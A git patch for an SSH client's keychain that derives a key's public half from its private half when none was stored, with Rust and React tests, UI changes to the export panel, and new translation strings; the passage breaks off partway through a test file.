From 5e855fcadb7e91cf2ddbff066cc7743c41f92939 Mon Sep 17 00:00:00 2001
From: kipavy <kiki.kalagan@gmail.com>
Date: Sat, 22 Aug 2026 17:35:06 +0000
Subject: [PATCH] fix(keychain): derive a key's public half instead of refusing
 to deploy
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

"Add to host" read `key:<id>:public` and threw "Public key not found" when
nothing was stored. The public half is optional at import, and nothing ever
derived it, so a key pasted or dropped private-only saved without complaint
and refused to deploy — often weeks later.

A new backend command computes the public half from the private one
(`ssh_public_key_from_private`, error codes ENCRYPTED / INVALID so the UI can
tell "needs a passphrase" from "not a key"). `ensurePublicKey` reads the
stored half, else derives from the private half and the saved passphrase,
validates it, and backfills both the local vault and the key's team vault.

- KeyForm and IdentityForm's inline key material fill the visible public
  field as soon as a complete private half is entered, so the value can be
  read and corrected rather than conjured at deploy time.
- addKeyToHost goes through the store, which fixes the plugin/MCP route too.
- The export panel asks before a host is picked: a key with no derivable
  public half shows a warning and a disabled button, instead of failing after
  the host was chosen.
- The outcome no longer renders at the bottom of the scroll area, where a
  click looked like it did nothing: failures pin into the sticky footer above
  the button, and success raises a toast and closes the panel.
---
 src-tauri/src/commands/keygen.rs              | 94 ++++++++++++++++++
 src-tauri/src/lib.rs                          |  1 +
 src/components/keychain/IdentityForm.tsx      |  7 ++
 .../keychain/KeyExportPanel.test.tsx          | 97 +++++++++++++++++++
 src/components/keychain/KeyExportPanel.tsx    | 66 +++++++++----
 src/components/keychain/KeyForm.tsx           | 13 +++
 .../keychainForms.characterisation.test.tsx   | 61 ++++++++++++
 .../keychain/useDerivedPublicKey.ts           | 48 +++++++++
 .../sheets/KeychainItemActionsSheet.tsx       |  4 +-
 src/i18n/locales/en/keychain.json             |  1 +
 src/i18n/locales/fr/keychain.json             |  1 +
 src/i18n/locales/ru/keychain.json             |  1 +
 src/i18n/locales/zh/keychain.json             |  1 +
 src/services/keyExport.test.ts                | 19 ++--
 src/services/keyExport.ts                     |  4 +-
 src/services/publicKeyStore.test.ts           | 89 +++++++++++++++++
 src/services/publicKeyStore.ts                | 56 +++++++++++
 17 files changed, 531 insertions(+), 32 deletions(-)
 create mode 100644 src/components/keychain/KeyExportPanel.test.tsx
 create mode 100644 src/components/keychain/useDerivedPublicKey.ts
 create mode 100644 src/services/publicKeyStore.test.ts
 create mode 100644 src/services/publicKeyStore.ts

diff --git a/src-tauri/src/commands/keygen.rs b/src-tauri/src/commands/keygen.rs
index 66a980a3b..fe8ad0a1f 100644
--- a/src-tauri/src/commands/keygen.rs
+++ b/src-tauri/src/commands/keygen.rs
@@ -10,6 +10,38 @@ pub struct GeneratedKeyPair {
     pub key_type_label: String,
 }
 
+/// The public half is missing whenever a key was imported private-only, so the
+/// callers need to tell "give me the passphrase" apart from "that is not a key".
+/// Codes, not prose: the UI branches on them and translates its own message.
+pub const ERR_ENCRYPTED: &str = "ENCRYPTED";
+pub const ERR_INVALID: &str = "INVALID";
+
+fn derive_public_key(private_key: &str, passphrase: Option<&str>) -> Result<String, String> {
+    let key = PrivateKey::from_openssh(private_key.trim()).map_err(|_| ERR_INVALID.to_string())?;
+    let key = if key.is_encrypted() {
+        let passphrase = passphrase
+            .filter(|p| !p.is_empty())
+            .ok_or_else(|| ERR_ENCRYPTED.to_string())?;
+        key.decrypt(passphrase)
+            .map_err(|_| ERR_ENCRYPTED.to_string())?
+    } else {
+        key
+    };
+    key.public_key()
+        .to_openssh()
+        .map_err(|_| ERR_INVALID.to_string())
+}
+
+#[tauri::command]
+pub async fn ssh_public_key_from_private(
+    private_key: String,
+    passphrase: Option<String>,
+) -> Result<String, String> {
+    spawn_blocking(move || derive_public_key(&private_key, passphrase.as_deref()))
+        .await
+        .map_err(|e| e.to_string())?
+}
+
 /// key_type:   "ed25519" | "ecdsa" | "rsa"
 /// curve:      "256" | "384" | "521"     (ecdsa only)
 /// bits:       2048 | 4096               (rsa only)
@@ -104,3 +136,65 @@ pub async fn generate_ssh_keypair(
     .await
     .map_err(|e| e.to_string())?
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn ed25519_pem(passphrase: Option<&str>) -> (String, String) {
+        let mut rng = rand::thread_rng();
+        let key = PrivateKey::random(&mut rng, Algorithm::Ed25519).unwrap();
+        let public = key.public_key().to_openssh().unwrap();
+        let pem = match passphrase {
+            Some(p) => key
+                .encrypt(&mut rng, p)
+                .unwrap()
+                .to_openssh(LineEnding::LF)
+                .unwrap(),
+            None => key.to_openssh(LineEnding::LF).unwrap(),
+        };
+        (pem.to_string(), public)
+    }
+
+    #[test]
+    fn derives_the_public_half_of_a_plaintext_key() {
+        let (pem, public) = ed25519_pem(None);
+        assert_eq!(derive_public_key(&pem, None).unwrap(), public);
+    }
+
+    #[test]
+    fn derives_the_public_half_of_an_encrypted_key() {
+        let (pem, public) = ed25519_pem(Some("hunter2"));
+        assert_eq!(derive_public_key(&pem, Some("hunter2")).unwrap(), public);
+    }
+
+    #[test]
+    fn reports_encrypted_when_the_passphrase_is_missing_or_wrong() {
+        let (pem, _) = ed25519_pem(Some("hunter2"));
+        assert_eq!(
+            derive_public_key(&pem, None),
+            Err(ERR_ENCRYPTED.to_string())
+        );
+        assert_eq!(
+            derive_public_key(&pem, Some("")),
+            Err(ERR_ENCRYPTED.to_string())
+        );
+        assert_eq!(
+            derive_public_key(&pem, Some("wrong")),
+            Err(ERR_ENCRYPTED.to_string())
+        );
+    }
+
+    #[test]
+    fn reports_invalid_for_anything_that_is_not_a_private_key() {
+        assert_eq!(
+            derive_public_key("nonsense", None),
+            Err(ERR_INVALID.to_string())
+        );
+        let (_, public) = ed25519_pem(None);
+        assert_eq!(
+            derive_public_key(&public, None),
+            Err(ERR_INVALID.to_string())
+        );
+    }
+}
diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs
index befbb3ad5..ca230c852 100644
--- a/src-tauri/src/lib.rs
+++ b/src-tauri/src/lib.rs
@@ -589,6 +589,7 @@ pub fn run() {
             commands::keys::key_adopt,
             commands::keys::key_delete,
             commands::keygen::generate_ssh_keypair,
+            commands::keygen::ssh_public_key_from_private,
             commands::vault::vault_status,
             commands::vault::vault_reset,
             commands::vault::config_wipe,
diff --git a/src/components/keychain/IdentityForm.tsx b/src/components/keychain/IdentityForm.tsx
index 7ef3cb0b9..2eea90f45 100644
--- a/src/components/keychain/IdentityForm.tsx
+++ b/src/components/keychain/IdentityForm.tsx
@@ -29,6 +29,7 @@ import { useIdentityStore } from "@/stores/identityStore";
 import { useTeamStore } from "@/stores/teamStore";
 import { KeyFileDropZone } from "./KeyForm";
 import { PublicKeyField, isPublicKeyInvalid } from "./PublicKeyField";
+import { useDerivedPublicKey } from "./useDerivedPublicKey";
 import { getConnectionIcon, getConnectionIconColor } from "@/utils/icons";
 import { AvatarTile } from "@/components/shared/AvatarTile";
 import type { AuthType, Connection, Identity, IdentityFormData } from "@/types";
@@ -287,6 +288,12 @@ export function IdentityForm({ initial, onSubmit, onClose, onDelete, flushRef, i
   // eslint-disable-next-line react-hooks/exhaustive-deps
   useEffect(() => schedule(), [name, tags, username, password, keyId, folderId, vaultId, inlineKeyLabel, inlinePrivKey, inlinePublicKey]);
 
+  useDerivedPublicKey({
+    privateKey: inlinePrivKey,
+    publicKey: inlinePublicKey,
+    onDerived: (derived) => { markDirty(); setInlinePublicKey(derived); },
+  });
+
   const handleClose = () => flushAndClose(onClose);
 
   const handleTogglePassword = useCallback(() => {
diff --git a/src/components/keychain/KeyExportPanel.test.tsx b/src/components/keychain/KeyExportPanel.test.tsx
new file mode 100644
index 000000000..a520f0188
--- /dev/null
+++ b/src/components/keychain/KeyExportPanel.test.tsx
@@ -0,0 +1,97 @@
+import { test, expect, vi, beforeEach, afterEach } from "vitest";
+import { render, cleanup, act, fireEvent, screen } from "@testing-library/react";
+import type { SshKey } from "@/types";
+
+const h = vi.hoisted(() => ({
+  ensurePublicKey: vi.fn(async (..._a: unknown[]) => "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5 me@laptop" as string | null),
+  addKeyToHost: vi.fn(async (..._a: unknown[]) => {}),
+  addToast: vi.fn(),
+  connections: [{ id: "c1", name: "prod", host: "example.test", port: 22, username: "root" }],
+}));
+
+vi.mock("react-i18next", () => ({ useTranslation: () => ({ t: (k: string) => k }) }));
+vi.mock("@iconify/react", () => ({ Icon: () => null }));
+vi.mock("@/services/publicKeyStore", () => ({ ensurePublicKey: (...a: unknown[]) => h.ensurePublicKey(...a) }));
+vi.mock("@/services/keyExport", () => ({
+  addKeyToHost: (...a: unknown[]) => h.addKeyToHost(...a),
+  DEFAULT_EXPORT_SCRIPT: "script",
+}));
+vi.mock("@/stores/connectionStore", () => ({
+  useConnectionStore: () => ({ connections: h.connections, loadConnections: vi.fn(async () => {}) }),
+}));
+vi.mock("@/stores/notificationStore", () => ({
+  useNotificationStore: { getState: () => ({ addToast: h.addToast }) },
+}));
+vi.mock("./KeyCards", () => ({ KeyCardContent: () => null }));
+vi.mock("@/components/shared/HostPickerPanel", () => ({
+  HostPickerPanel: ({ onPick }: { onPick: (h: unknown) => void }) => (
+    <button data-pick-host onClick={() => onPick({ kind: "remote", connection: h.connections[0] })} />
+  ),
+}));
+
+const { KeyExportPanel } = await import("./KeyExportPanel");
+
+const sshKey = { id: "k1", name: "laptop", vault_id: "personal" } as SshKey;
+
+function renderPanel() {
+  const onClose = vi.fn();
+  render(<KeyExportPanel sshKey={sshKey} onClose={onClose} />);
+  return { onClose };
+}
+
+const footer = () => document.querySelector("[data-export-footer]") as HTMLElement;
+const exportButton = () => footer().querySelector("button") as HTMLButtonElement;
+
+async function pickHost() {
+  await act(async () => {
+    fireEvent.click(document.querySelector("[data-pick-host]")!);
+  });
+}
+
+beforeEach(() => {
+  vi.clearAllMocks();
+  h.ensurePublicKey.mockResolvedValue("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5 me@laptop");
+  h.addKeyToHost.mockResolvedValue(undefined);
+});
+afterEach(() => cleanup());
+
+test("refuses the deploy up front when the key has no public half to send", async () => {
+  h.ensurePublicKey.mockResolvedValue(null);
+  renderPanel();
+  await act(async () => { await Promise.resolve(); });
+  await pickHost();
+  // The old failure mode was a host picked, a button clicked, and only then an
+  // error — with a key whose public half could never have been found.
+  expect(screen.getByText("keychain.exportPanel.missingPublicKeyNotice")).toBeTruthy();
+  expect(exportButton().disabled).toBe(true);
+});
+
+test("deploys once a host is picked and the public half is in hand", async () => {
+  renderPanel();
+  await act(async () => { await Promise.resolve(); });
+  expect(exportButton().disabled).toBe(true);
+  await pickHost();
+  expect(exportButton().disabled).toBe(false);
+  await act(async () => { fireEvent.click(exportButton()); });
+  expect(h.addKeyToHost).toHaveBeenCalledWith(expect.objectContaining({ sshKey, connection: h.connections[0] }));
+});
+
+test("keeps a failure pinned beside the button instead of below the fold", async () => {
+  h.addKeyToHost.mockRejectedValue(new Error("Remote command failed: permission denied"));
+  renderPanel();
+  await act(async () => { await Promise.resolve(); });
+  await pickHost();
+  await act(async () => { fireEvent.click(exportButton()); });
+  expect(footer().contains(screen.getByText(/permission denied/))).toBe(true);
+});
+
+test("reports success as a toast and closes the panel", async () => {
+  const { onClose } = renderPanel();
+  await act(async () => { await Promise.resolve(); });
+  await pickHost();
+  await act(async () => { fireEvent.click(exportButton()); });
+  expect(h.addToast).toHaveBeenCalledWith(
+    expect.objectContaining({ severity: "success", message: "keychain.exportPanel.successMessage" }),
+  );
+  expect(onClose).toHaveBeenCalled();
+});
diff --git a/src/components/keychain/KeyExportPanel.tsx b/src/components/keychain/KeyExportPanel.tsx
index 1e35606a3..98998e25d 100644
--- a/src/components/keychain/KeyExportPanel.tsx
+++ b/src/components/keychain/KeyExportPanel.tsx
@@ -4,6 +4,9 @@ import { Icon } from "@iconify/react";
 import { useRipple } from "@/hooks/useRipple";
 import { useConnectionStore } from "@/stores/connectionStore";
 import { addKeyToHost, DEFAULT_EXPORT_SCRIPT } from "@/services/keyExport";
+import { ensurePublicKey } from "@/services/publicKeyStore";
+import { useNotificationStore } from "@/stores/notificationStore";
+import { statusSurface } from "@/components/shared/statusSurface";
 import {
   PanelShell, PanelHeader, FormSection,
   formInputClass, formInputStyle, formLabelClass, formLabelStyle,
@@ -45,13 +48,27 @@ export function KeyExportPanel({ sshKey, onClose }: { sshKey: SshKey; onClose: (
   const [script, setScript] = useState(DEFAULT_EXPORT_SCRIPT);
   const [advancedOpen, setAdvancedOpen] = useState(false);
   const [showHostSelect, setShowHostSelect] = useState(false);
-  const [exportStatus, setExportStatus] = useState<"idle" | "loading" | "success" | "error">("idle");
+  const [exportStatus, setExportStatus] = useState<"idle" | "loading" | "error">("idle");
   const [exportError, setExportError] = useState("");
+  const [publicHalf, setPublicHalf] = useState<"checking" | "ready" | "missing">("checking");
   const { createRipple: rippleExport, rippleEls: ripplesExport } = useRipple();
 
   useEffect(() => { void loadConnections(); }, [loadConnections]);
 
+  // Asked before a host is even picked: a key imported private-only has nothing
+  // to deploy, and finding that out after choosing a host and pressing the
+  // button is what made the failure read like a broken feature.
+  useEffect(() => {
+    let cancelled = false;
+    setPublicHalf("checking");
+    void ensurePublicKey(sshKey).then((pub) => {
+      if (!cancelled) setPublicHalf(pub ? "ready" : "missing");
+    });
+    return () => { cancelled = true; };
+  }, [sshKey]);
+
   const selectedHost = connections.find((c) => c.id === selectedHostId);
+  const canExport = !!selectedHost && publicHalf === "ready" && exportStatus !== "loading";
 
   const handleExport = async () => {
     if (!selectedHost) return;
@@ -59,7 +76,16 @@ export function KeyExportPanel({ sshKey, onClose }: { sshKey: SshKey; onClose: (
     setExportError("");
     try {
       await addKeyToHost({ sshKey, connection: selectedHost, location, filename, script });
-      setExportStatus("success");
+      // Said where the eye already is rather than in a panel that is closing.
+      useNotificationStore.getState().addToast({
+        source: { kind: "plugin", id: "system", name: "Voltius" },
+        type: "toast",
+        message: t("keychain.exportPanel.successMessage"),
+        severity: "success",
+        duration: 4000,
+      });
+      setExportStatus("idle");
+      onClose();
     } catch (e) {
       setExportError(String(e));
       setExportStatus("error");
@@ -76,6 +102,13 @@ export function KeyExportPanel({ sshKey, onClose }: { sshKey: SshKey; onClose: (
             <KeyCardContent sshKey={sshKey} avatarSize={48} iconSize={24} />
           </BaseCard>
 
+          {publicHalf === "missing" && (
+            <div className="flex gap-2 px-3 py-2.5 rounded-lg mx-1 text-xs" style={statusSurface("warning")}>
+              <Icon icon="lucide:triangle-alert" width={14} className="shrink-0" style={{ marginTop: 1 }} />
+              <p className="leading-relaxed">{t("keychain.exportPanel.missingPublicKeyNotice")}</p>
+            </div>
+          )}
+
           <FormSection label={t("keychain.exportPanel.exportSectionLabel")}>
             <div className="space-y-3 p-1">
               <div>
@@ -140,30 +173,25 @@ export function KeyExportPanel({ sshKey, onClose }: { sshKey: SshKey; onClose: (
             </div>
           </FormSection>
 
-          {exportStatus === "success" && (
-            <div className="flex items-center gap-2 px-3 py-2.5 rounded-lg mx-1" style={{ background: "color-mix(in srgb, var(--t-accent) 12%, transparent)", border: "1px solid color-mix(in srgb, var(--t-accent) 30%, transparent)" }}>
-              <Icon icon="lucide:circle-check-big" width={14} className="text-(--t-accent) shrink-0" />
-              <span className="text-xs text-(--t-accent)">{t("keychain.exportPanel.successMessage")}</span>
-            </div>
-          )}
+        </div>
+
+        {/* The outcome belongs against the button that caused it: in the scroll
+            area it landed below the fold, so a click looked like it did nothing. */}
+        <div className="px-4 py-3 border-t border-t-(--t-border) space-y-2" data-export-footer>
           {exportStatus === "error" && (
-            <div className="flex items-start gap-2 px-3 py-2.5 rounded-lg mx-1" style={{ background: "color-mix(in srgb, var(--t-danger, #ef4444) 12%, transparent)", border: "1px solid color-mix(in srgb, var(--t-danger, #ef4444) 30%, transparent)" }}>
-              <Icon icon="lucide:circle-x" width={14} className="text-(--t-danger,#ef4444) shrink-0" style={{ marginTop: 1 }} />
-              <span className="text-xs break-all text-(--t-danger,#ef4444)">{exportError}</span>
+            <div className="flex items-start gap-2 px-3 py-2.5 rounded-lg max-h-20 overflow-y-auto" style={statusSurface("error")}>
+              <Icon icon="lucide:circle-x" width={14} className="shrink-0" style={{ marginTop: 1 }} />
+              <span className="text-xs break-all">{exportError}</span>
             </div>
           )}
-
-        </div>
-
-        <div className="px-4 py-3 border-t border-t-(--t-border)">
           <button
             onClick={() => { void handleExport(); }}
-            onPointerDown={(!selectedHostId || exportStatus === "loading") ? undefined : rippleExport}
-            disabled={!selectedHostId || exportStatus === "loading"}
+            onPointerDown={canExport ? rippleExport : undefined}
+            disabled={!canExport}
             className="w-full flex items-center justify-center gap-2 px-4 py-2 rounded-lg text-sm font-medium transition-opacity bg-(--t-accent) text-white relative overflow-hidden"
             style={{
-              opacity: !selectedHostId || exportStatus === "loading" ? 0.5 : 1,
-              cursor: !selectedHostId || exportStatus === "loading" ? "not-allowed" : "pointer",
+              opacity: canExport ? 1 : 0.5,
+              cursor: canExport ? "pointer" : "not-allowed",
             }}
           >
             {ripplesExport}
diff --git a/src/components/keychain/KeyForm.tsx b/src/components/keychain/KeyForm.tsx
index 2fc58f36e..94dcb573b 100644
--- a/src/components/keychain/KeyForm.tsx
+++ b/src/components/keychain/KeyForm.tsx
@@ -26,6 +26,7 @@ import { detectKeyInfo } from "./keyDetection";
 import { KeyFileDropZone } from "./KeyFileDropZone";
 import { KeyGenFields } from "./KeyGenFields";
 import { PublicKeyField, isPublicKeyInvalid } from "./PublicKeyField";
+import { useDerivedPublicKey } from "./useDerivedPublicKey";
 
 // Re-exported for back-compat (IdentityForm imports KeyFileDropZone from here).
 export { KeyFileDropZone } from "./KeyFileDropZone";
@@ -141,6 +142,18 @@ export function KeyForm({ initial, initialMode, onSubmit, onClose, onExport, onD
   // eslint-disable-next-line react-hooks/exhaustive-deps
   useEffect(() => schedule(), [name, tags, privateKey, publicKey, passphrase, folderId, vaultId]);
 
+  useDerivedPublicKey({
+    privateKey,
+    publicKey,
+    passphrase,
+    enabled: !publicKeyDirty.current,
+    onDerived: (derived) => {
+      markDirty();
+      publicKeyDirty.current = true;
+      setPublicKey(derived);
+    },
+  });
+
   const handleClose = () => flushAndClose(onClose);
 
   // Generated material flows in here; reveal it in the import view and let
diff --git a/src/components/keychain/keychainForms.characterisation.test.tsx b/src/components/keychain/keychainForms.characterisation.test.tsx
index ea5b9095b..01c80b9a4 100644
--- a/src/components/keychain/keychainForms.characterisation.test.tsx
+++ b/src/components/keychain/keychainForms.characterisation.test.tsx
@@ -17,6 +17,7 @@ const h = vi.hoisted(() => ({
   defaultVaultId: "personal",
   secrets: {} as Record<string, string>,
   reportAuditClientEvent: vi.fn(),
+  derivePublicKey: vi.fn(async (..._a: unknown[]) => ({ error: "invalid" as const })),
 }));
 
 vi.mock("react-i18next", () => ({
@@ -79,6 +80,9 @@ vi.mock("@/services/vault", () => ({
   getSecret: vi.fn(async (k: string) => h.secrets[k] ?? null),
   storeSecret: vi.fn(async () => {}),
 }));
+vi.mock("@/services/publicKeyStore", () => ({
+  derivePublicKey: (...a: unknown[]) => h.derivePublicKey(...a),
+}));
 vi.mock("@/services/auditContextResolver", () => ({ auditContextForVaultId: () => ({}) }));
 vi.mock("@/services/auditReporter", () => ({ reportAuditClientEvent: (...a: unknown[]) => h.reportAuditClientEvent(...a) }));
 
@@ -138,6 +142,7 @@ beforeEach(() => {
   h.defaultVaultId = "personal";
   vi.clearAllMocks();
   h.isObjectSynced.mockReturnValue(true);
+  h.derivePublicKey.mockResolvedValue({ error: "invalid" as const });
 });
 afterEach(() => cleanup());
 
@@ -330,6 +335,62 @@ test("the key form saves once the public half is corrected", async () => {
   expect(screen.queryByText("keychain.keyForm.invalidPublicKey")).toBeNull();
 });
 
+const COMPLETE_PRIV = "-----BEGIN OPENSSH PRIVATE KEY-----\nAAAA\n-----END OPENSSH PRIVATE KEY-----";
+
+test("the key form derives the public half of a private-only import and saves it", async () => {
+  h.derivePublicKey.mockResolvedValue({ publicKey: VALID_PUB } as never);
+  const { onSubmit, flushRef } = renderKey();
+  const [priv, pub] = Array.from(document.querySelectorAll("textarea")) as HTMLTextAreaElement[];
+  await act(async () => {
+    fireEvent.change(priv, { target: { value: COMPLETE_PRIV } });
+  });
+  expect(h.derivePublicKey).toHaveBeenCalledWith(COMPLETE_PRIV, "");
+  expect(pub.value).toBe(VALID_PUB);
+  await act(async () => {
+    flushRef.current!();
+  });
+  expect(onSubmit.mock.calls[0][2]).toBe(VALID_PUB);
+});
+
+test("the key form never overwrites a public half the user pasted", async () => {
+  h.derivePublicKey.mockResolvedValue({ publicKey: "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5 derived" } as never);
+  renderKey();
+  const [priv, pub] = Array.from(document.querySelectorAll("textarea")) as HTMLTextAreaElement[];
+  await act(async () => {
+    fireEvent.change(pub, { target: { value: VALID_PUB } });
+    fireEvent.change(priv, { target: { value: COMPLETE_PRIV } });
+  });
+  expect(h.derivePublicKey).not.toHaveBeenCalled();
+  expect(pub.value).toBe(VALID_PUB);
+});
+
+test("the key form leaves the public half empty when the private one cannot be read", async () => {
+  h.derivePublicKey.mockResolvedValue({ error: "encrypted" as const } as never);
+  const { onSubmit, flushRef } = renderKey();
+  const [priv, pub] = Array.from(document.querySelectorAll("textarea")) as HTMLTextAreaElement[];
+  await act(async () => {
+    fireEvent.change(priv, { target: { value: COMPLETE_PRIV } });
+  });
+  expect(pub.value).toBe("");
+  await act(async () => {
+    flushRef.current!();
+  });
+  expect(onSubmit.mock.calls[0][2]).toBeNull();
+});
+
+test("the identity form derives the public half of inline key material too", async () => {
+  h.derivePublicKey.mockResolvedValue({ publicKey: VALID_PUB } as never);
+  renderIdentity();
+  fireEvent.change(screen.getByPlaceholderText("root"), { target: { value: "deploy" } });
+  fireEvent.click(screen.getByText("keychain.identityForm.noKey"));
+  fireEvent.click(screen.getByText("keychain.identityForm.newKeyInline"));
+  const textareas = Array.from(document.querySelectorAll("textarea")) as HTMLTextAreaElement[];
+  await act(async () => {
+    fireEvent.change(textareas[textareas.length - 2], { target: { value: COMPLETE_PRIV } });
+  });
+  expect(textareas[textareas.length - 1].value).toBe(VALID_PUB);
+});
+
 test("the identity form refuses to save inline key material with a bad public half", async () => {
   const { onSubmit, flushRef } = renderIdentity();
   fireEvent.change(screen.getByPlaceholderText("root"), { target: { value: "deploy" } });
diff --git a/src/components/keychain/useDerivedPublicKey.ts b/src/components/keychain/useDerivedPublicKey.ts
new file mode 100644
index 000000000..13b4795eb
--- /dev/null
+++ b/src/components/keychain/useDerivedPublicKey.ts
@@ -0,0 +1,48 @@
+import { useEffect, useMemo, useRef } from "react";
+import { derivePublicKey } from "@/services/publicKeyStore";
+import { detectKeyInfo } from "./keyDetection";
+
+/**
+ * Fills an empty public-half field from the private half beside it.
+ *
+ * A key imported private-only saves without complaint and then refuses to
+ * deploy — "Add to host" has nothing to append. Deriving here rather than at
+ * deploy time puts the value in the visible field, where it can be read and
+ * corrected, and lets the form's own save path store it.
+ *
+ * Quiet on failure: an encrypted key whose passphrase has not been typed yet is
+ * retried as soon as it is, and anything unreadable leaves the field alone.
+ */
+export function useDerivedPublicKey({
+  privateKey,
+  publicKey,
+  passphrase = "",
+  enabled = true,
+  onDerived,
+}: {
+  privateKey: string;
+  publicKey: string;
+  passphrase?: string;
+  /** False while the field is the user's to own — one they typed, or emptied. */
+  enabled?: boolean;
+  onDerived: (publicKey: string) => void;
+}) {
+  const onDerivedRef = useRef(onDerived);
+  onDerivedRef.current = onDerived;
+
+  // Not every keystroke of a pasted key is a key: derive only once the private
+  // half is a complete, recognised one.
+  const complete = useMemo(() => {
+    const info = detectKeyInfo(privateKey, publicKey);
+    return !!info.type && info.valid;
+  }, [privateKey, publicKey]);
+
+  useEffect(() => {
+    if (!enabled || !complete || publicKey.trim()) return;
+    let cancelled = false;
+    void derivePublicKey(privateKey.trim(), passphrase).then((result) => {
+      if (!cancelled && "publicKey" in result) onDerivedRef.current(result.publicKey);
+    });
+    return () => { cancelled = true; };
+  }, [privateKey, publicKey, passphrase, enabled, complete]);
+}
diff --git a/src/components/mobile/sheets/KeychainItemActionsSheet.tsx b/src/components/mobile/sheets/KeychainItemActionsSheet.tsx
index d6c6a73b6..c41b16262 100644
--- a/src/components/mobile/sheets/KeychainItemActionsSheet.tsx
+++ b/src/components/mobile/sheets/KeychainItemActionsSheet.tsx
@@ -7,7 +7,7 @@ import { useIdentityStore } from "@/stores/identityStore";
 import { useNotificationStore } from "@/stores/notificationStore";
 import { useFolderStore } from "@/stores/folderStore";
 import { useAllFolders } from "@/hooks/useAllFolders";
-import { getSecret } from "@/services/vault";
+import { ensurePublicKey } from "@/services/publicKeyStore";
 import { writeClipboard } from "@/utils/clipboard";
 import { buildMoveTargets } from "@/components/mobile/folders/mobileFolderCore";
 import type { SshKey, Identity } from "@/types";
@@ -66,7 +66,7 @@ export default function KeychainItemActionsSheet(props: Props) {
   const items: SheetAction[] = [
     kind === "key"
       ? { icon: "lucide:clipboard-copy", label: t("mobile.sheets.keychainActions.copyPublicKey"), slug: "copy-public-key", onTap: async () => {
-          const pub = await getSecret(`key:${item.id}:public`);
+          const pub = await ensurePublicKey(item as SshKey);
           if (pub) { await writeClipboard(pub); toast(t("mobile.sheets.keychainActions.copiedPublicKey"), "success"); }
           else { toast(t("mobile.sheets.keychainActions.noPublicKeyStored"), "error"); }
           onClose();
diff --git a/src/i18n/locales/en/keychain.json b/src/i18n/locales/en/keychain.json
index f84fd7ac8..b4dba724e 100644
--- a/src/i18n/locales/en/keychain.json
+++ b/src/i18n/locales/en/keychain.json
@@ -122,6 +122,7 @@
       "location": "Location",
       "filename": "Filename",
       "unixOnlyNotice": "Key export currently supports only UNIX systems. Use Advanced section to customize the export script.",
+      "missingPublicKeyNotice": "This key has no public half to send. Open it in the Keychain and paste its .pub line — or add its passphrase, so the public half can be derived from the private one.",
       "advanced": "Advanced",
       "exportScriptLabel": "Export script",
       "successMessage": "Key exported successfully",
diff --git a/src/i18n/locales/fr/keychain.json b/src/i18n/locales/fr/keychain.json
index d6477bd16..4ae9b509b 100644
--- a/src/i18n/locales/fr/keychain.json
+++ b/src/i18n/locales/fr/keychain.json
@@ -122,6 +122,7 @@
       "location": "Emplacement",
       "filename": "Nom du fichier",
       "unixOnlyNotice": "L'export de clé ne prend actuellement en charge que les systèmes UNIX. Utilisez la section Avancé pour personnaliser le script d'export.",
+      "missingPublicKeyNotice": "Cette clé n'a pas de partie publique à envoyer. Ouvrez-la dans le Trousseau et collez sa ligne .pub — ou renseignez sa phrase secrète, afin que la partie publique puisse être dérivée de la partie privée.",
       "advanced": "Avancé",
       "exportScriptLabel": "Script d'export",
       "successMessage": "Clé exportée avec succès",
diff --git a/src/i18n/locales/ru/keychain.json b/src/i18n/locales/ru/keychain.json
index ed32191a8..04ea3d57c 100644
--- a/src/i18n/locales/ru/keychain.json
+++ b/src/i18n/locales/ru/keychain.json
@@ -138,6 +138,7 @@
       "location": "Расположение",
       "filename": "Имя файла",
       "unixOnlyNotice": "Экспорт ключа в настоящее время поддерживается только для систем UNIX. Используйте раздел \"Дополнительно\", чтобы настроить скрипт экспорта.",
+      "missingPublicKeyNotice": "У этого ключа нет публичной части для отправки. Откройте его в Связке ключей и вставьте строку .pub — либо укажите парольную фразу, чтобы публичную часть можно было вывести из приватной.",
       "advanced": "Дополнительно",
       "exportScriptLabel": "Скрипт экспорта",
       "successMessage": "Ключ успешно экспортирован",
diff --git a/src/i18n/locales/zh/keychain.json b/src/i18n/locales/zh/keychain.json
index f917f1415..7bf00d307 100644
--- a/src/i18n/locales/zh/keychain.json
+++ b/src/i18n/locales/zh/keychain.json
@@ -122,6 +122,7 @@
       "location": "位置",
       "filename": "文件名",
       "unixOnlyNotice": "密钥导出目前仅支持 UNIX 系统。使用高级部分自定义导出脚本。",
+      "missingPublicKeyNotice": "此密钥没有可发送的公钥部分。请在钥匙串中打开它并粘贴其 .pub 行 —— 或填写其密码短语，以便从私钥推导出公钥。",
       "advanced": "高级",
       "exportScriptLabel": "导出脚本",
       "successMessage": "密钥导出成功",
diff --git a/src/services/keyExport.test.ts b/src/services/keyExport.test.ts
index 1810d3ea0..9de83466c 100644
--- a/src/services/keyExport.test.ts
+++ b/src/services/keyExport.test.ts
@@ -3,13 +3,15 @@ import { addKeyToHost, DEFAULT_EXPORT_SCRIPT } from "./keyExport";
 
 const PUB_KEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHqW1p3nMuFvR5NHqhkxLQKfDVZ2VYFOxKvL8dW7dSpq user@host";
 
-const getSecret = vi.fn(async (..._a: unknown[]) => `${PUB_KEY}\n`);
+const ensurePublicKey = vi.fn(async (..._a: unknown[]): Promise<string | null> => `${PUB_KEY}\n`);
 const sshExecCommand = vi.fn(async (..._a: unknown[]) => ({ stdout: "", stderr: "", exit_code: 0 }));
 const resolveConnectionCredentials = vi.fn(async (..._a: unknown[]) => ({
   username: "root", password: undefined, privateKey: "pk", passphrase: undefined,
 }));
 
-vi.mock("@/services/vault", () => ({ getSecret: (...a: unknown[]) => getSecret(...a) }));
+vi.mock("@/services/publicKeyStore", () => ({
+  ensurePublicKey: (...a: unknown[]) => ensurePublicKey(...a),
+}));
 vi.mock("@/services/ssh", () => ({ sshExecCommand: (...a: unknown[]) => sshExecCommand(...a) }));
 vi.mock("@/services/credentials", () => ({
   resolveConnectionCredentials: (...a: unknown[]) => resolveConnectionCredentials(...a),
@@ -21,10 +23,9 @@ const connection = { id: "c1", host: "example.test", port: 22 } as any;
 beforeEach(() => vi.clearAllMocks());
 
 describe("addKeyToHost", () => {
-  it("reads the key's public half, not its private one", async () => {
